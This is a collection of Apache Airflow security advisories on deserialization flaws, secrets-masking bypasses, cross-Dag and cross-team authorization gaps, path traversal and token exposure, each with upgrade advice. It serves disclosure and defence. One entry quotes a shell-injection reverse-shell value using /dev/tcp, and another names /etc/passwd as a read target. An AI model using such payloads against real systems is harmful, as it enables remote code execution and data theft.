Apache Airflow's serialization layer reconstructed exception nodes by calling importstring() on a class name taken from the serialized blob and instantiating it with arguments from the same blob, with no restriction on what could be imported. An operator's executorconfig reaches that branch, so a Dag author could place a value there that causes an arbitrary callable to be imported and invoked -- for example subprocess.checkoutput, or builtins.eval on the builtins-prefixed variant. The code runs in the Scheduler, which reconstructs serialized Dags in its normal loop with no request involved, and in the API server, on any authenticated read of the Dag such as GET /api/v2/dags/{dagid}/details. Both are components the Airflow security model states must never execute Dag-author code, and both hold the metadata database credentials and the JWT signing secret. No non-default configuration is required. This is a different sink from CVE-2026-33264, which covered only the trigger branch of the same deserializer: deployments that upgraded in response to that advisory are still affected through the exception branch and must upgrade again. Users are advised to upgrade to apache-airflow 3.3.1 or later, which restricts the imported class to a subclass of BaseException.

Apache Airflow's secrets masker did not mask var.json Variable values whose value is a dict in the Rendered Templates UI — the dict value failed an isinstance(str) guard — so a secret stored as a JSON Variable and referenced in a template via var.json was displayed in cleartext to any user with access to that task's Rendered Templates view. Users are advised to upgrade to apache-airflow 3.3.1 or later, which masks nested Variable values regardless of type.

Apache Airflow wrote Variable values and Connection extra contents to the audit log in cleartext when they were submitted through the bulk endpoints (PATCH /api/v2/variables and PATCH /api/v2/connections). The audit-log masking recognised only top-level request fields, and a bulk request nests its entities two levels below, so no masking was applied to them. Any authenticated user with audit-log read access -- who need not hold Variables or Connections read at all -- could recover those secrets verbatim, and the Connection extra copy is stored unencrypted in the log while the connection table encrypts it. The Airflow UI's Import Variables action posts to this endpoint, so an ordinary operator import wrote every secret in the file to the log. This is a different code path from CVE-2026-50204: that fix shipped in 3.3.0 and covers the single-entity endpoints only, so deployments that upgraded in response to that advisory remain affected and must upgrade again. Users are advised to upgrade to apache-airflow 3.3.1 or later.

Apache Airflow's Backfill API authorized a request against a Dag id supplied by the caller whenever the backfillid path segment failed to parse. The authorization dependency parsed it with int() while the route handler parsed it as pydantic's NonNegativeInt, which accepts values int() rejects (1.0 coerces to 1); FastAPI resolves dependencies before endpoint validation, so the two acted on different Dags. An authenticated user holding edit permission on any single Dag could therefore read, pause and cancel backfills belonging to any other Dag, including moving another Dag's queued runs to failed. No non-default configuration is required and backfill ids are sequential, so finding a target is trivial. Users are advised to upgrade to apache-airflow 3.3.1 or later, which parses the backfill id with the same type the routes declare.

Apache Airflow's Task SDK rebuilt a Callback object from serialized data by re-running its constructor, which imports the module named by the stored callback path. Because SyncCallback is itself an Airflow class it passes the default alloweddeserializationclasses allow-list, so tightening that setting does not help. A Dag author — who controls a task instance's nextkwargs through the task execution API — can therefore cause an arbitrary module to be imported inside the scheduler process, when the scheduler's awaitinginput timeout sweep deserializes that value. No non-default configuration is required; the sweep runs unconditionally. Versions before 3.3.0 are not affected: the class existed, but the scheduler sweep that reaches it did not. This is a separate code path from CVE-2026-58076 and CVE-2026-67260, which cover different gadgets reaching deserialization — applying either of those fixes does not address this one. Users are advised to upgrade to apache-airflow 3.3.1 or later.

Apache Airflow 3.3.0 moved human-in-the-loop tasks from the triggerer to a new awaitinginput task state swept by the scheduler. That sweep deserializes the task instance's nextkwargs without an allow-list, so a Dag author — who controls that value through the task execution API — can cause an arbitrary module import and object instantiation inside the scheduler process, or terminate the scheduler job. No non-default configuration is required: the sweep runs unconditionally every 15 seconds, and the default alloweddeserializationclasses setting does not cover this code path. Versions before 3.3.0 are not affected, because human-in-the-loop tasks deferred onto the triggerer instead. This is a different code path from CVE-2026-58076, which covers the same unguarded exception-node deserialization reached elsewhere — deployments that applied that fix must upgrade for this issue as well. Users are advised to upgrade to apache-airflow 3.3.1 or later.

Apache Airflow's secrets masker hides values stored under sensitive key names when they are displayed in the UI. The masker's recursion-depth limit did not descend into values nested inside a list, tuple, or set beyond that limit, so an Airflow Variable holding such a deeply-nested value was shown unmasked in the Variables UI. The exposure is limited to the UI: any authenticated user who can see the Variable in the UI can already read its full value through the Variables REST API, so this does not disclose data the user could not otherwise obtain — the masking is a shoulder-surfing defense for the UI, not an access-control boundary.

This is an incomplete-fix follow-up to CVE-2026-42358, whose fix made only the dictionary walk unbounded; lists, tuples, and sets beyond the depth limit remained unmasked in the UI. Deployments that applied the CVE-2026-42358 fix should also upgrade to address this residual case. Upgrade to apache-airflow 3.3.1 or later.

Apache Airflow's Task SDK did not mask the contents of a Variable whose JSON value is a list, so secrets stored in that shape appeared in cleartext in task logs and in the Rendered Templates UI. Masking was applied only when the deserialized value was a string or a dict; a list at the top level matched neither and was returned unmasked. Any authenticated user able to read the logs or rendered templates of a task that references such a Variable could recover the values, with no special configuration required. This is the list-shaped counterpart of CVE-2026-59244, whose fix covered the dict case only, so deployments that upgraded in response to that advisory remain affected and must upgrade again. Users are advised to upgrade to apache-airflow 3.3.1 or later.

Apache Airflow's environment-variable secrets backend resolved a team-scoped Connection or Variable from the wrong team's scope. The guard meant to prevent this only ran when no team scope was supplied, and its pattern could not match a team name containing an underscore, which team names are allowed to contain. When the guard did not apply, the lookup fell through to an unconditional global read that resolved the stored AIRFLOWCONN<TEAM><ID> variable regardless of which team asked. In multi-team mode an authenticated user of one team could therefore have POST /api/v2/connections/test resolve another team's Connection and authenticate outward with that team's credentials; the endpoint uses the credentials rather than returning them. Exploitation requires [core] multiteam enabled, [core] testconnection set to Enabled (it ships Disabled), team-scoped secrets provisioned as environment variables in the API-server process, and knowledge of the encoded identifier. Redirecting the test at an attacker-controlled host is separately blocked. Users are advised to upgrade to apache-airflow 3.3.1 or later.

Apache Airflow's Config API did not mask team-scoped sensitive configuration values in multi-team deployments. When an administrator has enabled multi-team mode and exposed the Config API, an authenticated Viewer holding only configuration-read access — with no prior access to the secret — could read a team-scoped Celery broker URL, including its embedded credentials, in cleartext, while the equivalent global option was correctly masked. The secrets masker matched only base section and option names and did not normalize team-prefixed sections before the sensitivity check (CWE-200). This is a distinct masker bypass from CVE-2026-48828 and CVE-2026-48892: deployments that upgraded to apache-airflow 3.3.0 to address those issues remain affected by this team-scoped variant. Users are advised to upgrade to apache-airflow 3.3.1 or later, which normalizes team-scoped sections before masking.

Apache Airflow's XCom GET /api/v2/{...}/xcomEntries/{key}?deserialize=true endpoint passed a string-literal payload through BaseXCom.deserializevalue without the checkforbiddenxcomkeys guard, allowing an authenticated API user with XCom write-and-read access to instantiate arbitrary airflow. classes on the API server (CWE-502). An authenticated user who can write an XCom value and then read it back with deserialize=true triggers the unsafe instantiation. Users are advised to upgrade to apache-airflow 3.3.1 or later, which rejects reserved XCom serialization keys submitted as JSON string literals.

Apache Airflow's asset materialization endpoint (POST /api/v2/assets/{assetid}/materialize) and the XCom result check on waitdagrununtilfinished authorized the target Dag without its team, unlike every other authorization site. A team-aware auth manager distinguishes a team-scoped Dag from a global one by that field -- the Keycloak auth manager, for example, checks the DAG resource instead of DAG:<team> -- so the team-scoped permission that should gate the request was never consulted. In a deployment running multi-team mode with a team-aware auth manager, an authenticated user in one team could trigger Dag runs belonging to another team, supplying their own dagrunid and conf, and could read another team's XCom values. Deployments using the FAB auth manager are unaffected, as it has no multi-team support. Users are advised to upgrade to apache-airflow 3.3.1 or later, which resolves the Dag's team at both sites.

The example examplexcom that was included in airflow documentation implemented unsafe pattern of reading value from xcom in the way that could be exploited to allow UI user who had access to modify XComs to perform arbitrary execution of code on the worker. Since the UI users are already highly trusted, this is a Low severity vulnerability.

It does not affect Airflow release - exampledags are not supposed to be enabled in production environment, however users following the example could replicate the bad pattern. Documentation of Airflow 3.2.0 contains version of the example with improved resiliance for that case.

Users who followed that pattern are advised to adjust their implementations accordingly.

Apache Airflow's EmailOperator and the underlying airflow.utils.email helpers established SMTP STARTTLS connections without verifying the remote certificate when the deployment used [email] smtpstarttls=True without [email] smtpssl. An attacker positioned between the worker and the configured SMTP server (network MITM — typical hostile-network attack-surface for environments where the SMTP relay sits outside the worker's trust boundary) could present a self-signed certificate, have the worker complete the STARTTLS handshake silently, and capture the SMTP AUTH credentials and message contents the worker forwarded.

This CVE covers the core apache-airflow side of the same root cause already covered for the SMTP provider by CVE-2026-41016 (published 2026-04-27, covering apache-airflow-providers-smtp). Users who already applied the SMTP-provider fix from CVE-2026-41016 should additionally upgrade apache-airflow to 3.2.2 or later to cover the core-side path through airflow.utils.email. Affects deployments configured with smtpstarttls=True and smtpssl=False where the SMTP relay is reachable across a less-trusted network segment than the worker.

Users are advised to upgrade to apache-airflow 3.2.2 or later.

The structuredata endpoint in the Airflow UI returned external dependency graph nodes for linked Dags without checking whether the caller had read permission on those linked Dags. An authenticated UI/API user authorized for one Dag could enumerate linked Dag IDs and dependency metadata for other Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping to keep Dag dependency topology private across teams. Users are advised to upgrade to apache-airflow 3.2.2 or later.

A Dag author could either (a) create a symlink under their task's log directory pointing to an arbitrary file readable by the API server process (read-path attack — e.g. /etc/passwd or airflow.cfg) or (b) supply a taskid containing .. sequences accepted by the Task SDK's KEYREGEX (write-path attack), and in both cases the FileTaskHandler resolves the log path outside the configured baselogfolder, leaking or overwriting arbitrary files. Only affects deployments where the worker log folder is shared with the API server. Users are advised to upgrade to apache-airflow 3.2.2 or later. As a defense-in-depth mitigation, deploy the worker and API server with separate log volumes so that worker-controlled paths cannot reach the API server's filesystem.

Apache Airflow's JWTRefreshMiddleware set the JWT auth cookie without the Secure flag, so deployments running the Airflow API server behind an HTTPS-terminating reverse proxy (e.g. nginx / Envoy / a managed load balancer that terminates TLS and forwards plaintext to the API server, the default cloud-native topology) would have the user's session JWT replayed over any cleartext HTTP request to the same host. A network-positioned attacker (Wi-Fi MITM, hostile LAN, captive-portal proxy) could induce a logged-in user's browser to issue an HTTP request to the deployment's hostname and capture the JWT cookie out of that request, then replay it against the authenticated API. Affects deployments where the Airflow API server is reached through a TLS-terminating proxy and the cookie's secure-by-default protection is load-bearing for session integrity. Users are advised to upgrade to apache-airflow 3.2.2 or later.

A bug in the login redirect route in Apache Airflow allowed authenticated users to craft URLs that bypassed the issafeurl check, enabling redirection from a trusted Airflow domain to an attacker-controlled origin. Users are advised to upgrade to apache-airflow 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can place Airflow behind a reverse proxy that strips off-domain next= query parameters before they reach the login endpoint.

Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bashcommand="echo value: {{ dagrun.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.cantrigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.

A bug in Apache Airflow's bulk Task Instances API (PATCH/DELETE /api/v2/dags/{dagid}/dagRuns/{dagrunid}/taskInstances) evaluated authorization against the dagid resolved from the URL path while operating on the dagid / dagrunid extracted from request-body entity fields. An authenticated UI/API user with edit permission on one Dag could mutate Task Instance state in any other Dag by keeping the authorized Dag's ID in the URL path and naming the target Dag's IDs in the request body entities. Affects deployments that rely on per-Dag edit-scope to keep Task Instance state isolated between teams. Users are advised to upgrade to apache-airflow 3.2.2 or later.

The partitioneddagruns endpoints in the Airflow UI enforced only asset-level access control, not per-Dag authorization. An authenticated UI/API user with global Asset:read permission could enumerate partition run state, schedule configuration, and asset wiring for Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping while granting users broader Asset access. Users are advised to upgrade to apache-airflow 3.2.2 or later.

A bug in Apache Airflow's KubernetesExecutor caused JWT tokens used by worker pods to authenticate against the Execution API to be passed to the worker container as command-line arguments visible in the pod spec. An authenticated UI/API user with Kubernetes read-only access to the cluster (e.g. pods/get in the Airflow namespace) could harvest the JWT from kubectl describe pod output and then call state-mutating Execution API endpoints — triggering Dag runs, clearing runs, reading or writing Variables / Connections / XComs — as if they were a running task. Affects deployments using the KubernetesExecutor. Users are advised to upgrade to apache-airflow 3.2.2 or later. This is the airflow-core half of the same vulnerability addressed by CVE-2026-27173, which shipped the apache-airflow-providers-cncf-kubernetes side of the fix. Deployments that already upgraded apache-airflow-providers-cncf-kubernetes to 10.17.0 or later per the CVE-2026-27173 advisory should additionally upgrade apache-airflow to 3.2.2 or later to close the core-side surface — the two fixes are complementary, not duplicates.

Exploitation requires the attacker to already be an authenticated Airflow worker holding a valid Log-server JWT issued for at least one Dag. Apache Airflow's Log server authorized JWT tokens against Dag IDs by applying Python's str.lstrip() to the requested path segment when verifying the JWT's sub claim. str.lstrip() strips any of a set of characters from the left (not a prefix), so a JWT issued for a Dag named e.g. daga would authorize log access to any other Dag whose name began with any subset of the characters {d, a, g, } (e.g. dagattacker, aaaatarget, dagsecret). Such an authenticated worker could enumerate and read worker logs of other Dags whose names happened to share that character-class prefix, leaking task output and error traces beyond the documented per-Dag isolation boundary. Affects deployments relying on per-Dag log-access scoping (multi-team, shared-executor, shared-worker topologies). Users are advised to upgrade to apache-airflow 3.2.2 or later.

Apache Airflow's scheduler-side deadline-reference decoder (SerializedCustomReference.deserializereference) imported and dispatched arbitrary class paths drawn from DAG-author-controlled serialized state without an allowlist or plugin-registry gate. A DAG author whose code reaches the scheduler — the default on single-host deployments where the DAG bundle is importable from the scheduler process — could embed a custom DeadlineReference whose serialized form named an attacker-controlled module path, causing the scheduler to importstring(...) and instantiate that class with a live SQLAlchemy session attached. Affects deployments where DAG-author code is less trusted than the scheduler process. Users are advised to upgrade to apache-airflow 3.2.2 or later.

A bug in Apache Airflow's auth manager logout handling left previously-issued JWT tokens valid after the user clicked logout in the UI: the logout flow for FabAuthManager and KeycloakAuthManager did not actually reach the underlying revoketoken() call, so the JWT remained accepted by the API server until its natural expiry. An attacker holding a previously-issued JWT for a logged-out user could continue to make authenticated API calls as that user. Affects deployments configured with FabAuthManager or KeycloakAuthManager (the bug does not affect SimpleAuthManager). This is a residual gap in the fix for CVE-2025-57735, which addressed cookie-side invalidation in PR #57992 / PR #61339 but did not cover the provider-side revoketoken() reachability in the FAB / Keycloak code paths. Users who already upgraded for CVE-2025-57735 should additionally upgrade to apache-airflow 3.2.2 or later to cover the FAB / Keycloak logout paths.

The Event Log detail endpoint GET /api/v2/eventLogs/{eventlogid} in Apache Airflow fetched audit-log rows directly by numeric ID after only the generic Audit Log permission check, while the collection endpoint GET /api/v2/eventLogs applied per-Dag scoping. An authenticated UI/API user with audit-log read permission for one Dag could retrieve audit-log entries for any other Dag by guessing or enumerating the numeric event log ID. Affects deployments that rely on per-Dag audit-log scoping. Users are advised to upgrade to apache-airflow 3.2.2 or later.

A bug in Apache Airflow's XCom PATCH endpoint PATCH /api/v2/xcomEntries/{key} allowed an authenticated UI/API user with XCom write permission on a Dag to set XCom entries under reserved key names (e.g. returnvalue) that the matching POST endpoint already validated against FORBIDDENXCOMKEYS. The endpoint also accepted serialized payload shapes the triggerer's deserializer treats as code; combined, this allowed RCE on the triggerer when the affected task next deferred. Affects deployments where untrusted users have XCom write permission on Dags that defer to the triggerer. This is a fix-bypass of CVE-2026-33858: PR #64148 added the FORBIDDENXCOMKEYS validator only on the POST/set path; the PATCH path was not covered. Users who already upgraded for CVE-2026-33858 should additionally upgrade to apache-airflow 3.2.2 or later to cover the PATCH-path bypass.

A bug in Apache Airflow's Variable response masker caused nested-key redaction (triggered by secret-suffixed key names like password, token, secret, apikey) to be bypassed when the JSON value's nesting depth exceeded the shared secrets masker's recursion limit: the masker returned the original nested item before checking the sensitive key name. An authenticated UI/API user with Variable read permission could harvest plaintext secret values stored under sensitive keys nested deep enough to exceed the masker's depth cap. Affects deployments that store sensitive values inside deeply-nested JSON Variables. This is a residual gap in the fix for CVE-2026-32690 (which covered shallower nesting via maxdepth=1); the depth-limit boundary itself was not raised, so the same key-name bypass pattern reappears beyond the recursion cap. Users who already upgraded for CVE-2026-32690 should additionally upgrade to apache-airflow 3.2.2 or later to cover the deep-nesting path.

A bug in Apache Airflow's rendered-template field handling caused nested sensitive-key masking (e.g. nested password / token / secret / apikey keys inside a JSON template structure) to be bypassed when the rendered field exceeded [core] maxtemplatedfieldlength: Airflow stringified the structure before redaction, losing the nested key context, and persisted the plaintext value into renderedfields. An authenticated UI/API user with permission to read rendered template fields could harvest secret values intended to be masked. Affects deployments where Dag authors pass structured JSON to operators with nested sensitive keys. This is a variant of CWE-200 previously addressed for the user-registered masksecret() patterns in CVE-2025-68438; that fix did not cover the nested sensitive-keyword allowlist. Users who already upgraded for CVE-2025-68438 should additionally upgrade to apache-airflow 3.2.2 or later to cover the nested-key path.

A bug in the GET /api/v2/connections/{connectionid} REST API endpoint in Apache Airflow allowed an authenticated UI/API user with Connection-read permission to retrieve secrets stored in a Connection's extra JSON blob under field names not present in the redaction allowlist (DEFAULTSENSITIVEFIELDS) — for example, official Slack-provider credential field names were returned in plaintext. Affects deployments that store credentials in Connection extra blobs and grant Connection-read access to multiple users. Users are advised to upgrade to apache-airflow 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can store sensitive credential values in a secret-backend rather than inlined into the Connection's extra field.